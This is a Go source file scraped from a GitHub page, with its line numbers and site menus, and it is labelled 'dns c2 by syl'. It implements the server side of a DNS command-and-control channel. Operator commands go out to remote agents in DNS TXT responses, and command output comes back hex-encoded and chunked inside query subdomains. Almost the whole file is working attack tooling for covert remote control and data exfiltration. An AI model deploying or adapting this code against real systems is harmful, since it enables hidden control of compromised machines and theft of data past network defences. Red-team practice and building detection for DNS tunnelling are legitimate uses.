-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathmain.go
More file actions
91 lines (77 loc) · 1.74 KB
/
Copy pathmain.go
File metadata and controls
91 lines (77 loc) · 1.74 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
package main
import (
"bufio"
"encoding/hex"
"fmt"
"os"
"strings"
"github.com/miekg/dns"
)
var cmd string = ""
var joinBuffer []string
var outputBuffer string
var connection string
func resetState() {
cmd = ""
joinBuffer = nil
}
func main() {
fmt.Println("><((((> dns c2 by syl <))))><")
args := os.Args[1:]
server := &dns.Server{Addr: args[0], Net: "udp"}
go func() {
if err := server.ListenAndServe(); err != nil {
fmt.Println(err)
}
defer server.Listener.Close()
}()
fmt.Print("\nWaiting for a connection...")
dns.HandleFunc(".", AgentHandler)
for {
if connection != "" {
fmt.Printf("\n[%s] dnsc2> ", connection)
scanner := bufio.NewScanner(os.Stdin)
if scanner.Scan() {
cmd = scanner.Text()
if cmd == " " {
continue
}
}
dns.HandleFunc(".", AgentHandler)
for cmd != "" {
if cmd == "" {
break
}
}
fmt.Println(outputBuffer)
}
}
}
func AgentHandler(w dns.ResponseWriter, req *dns.Msg) {
urlConstr := req.Question[0].Name
deconUrl := strings.Split(urlConstr, ".")
connection = deconUrl[1]
dnsMessage := new(dns.Msg)
dnsMessage.SetReply(req)
dnsMessage.Authoritative = true
defer w.WriteMsg(dnsMessage)
dnsMessage.Answer = append(dnsMessage.Answer, &dns.TXT{
Hdr: dns.RR_Header{
Name: req.Question[0].Name,
Class: req.Question[0].Qclass,
Ttl: 0, Rrtype: dns.TypeTXT,
},
Txt: []string{cmd},
})
if deconUrl[0] != "0" {
currentCunk := strings.Split(deconUrl[0], "-")[0]
chunkLen := strings.Split(deconUrl[0], "-")[1]
joinBuffer = append(joinBuffer, string(deconUrl[2]))
if currentCunk == chunkLen {
joinResult := strings.Join(joinBuffer, "")
decodedOut, _ := hex.DecodeString(joinResult)
outputBuffer = string(decodedOut)
resetState()
}
}
}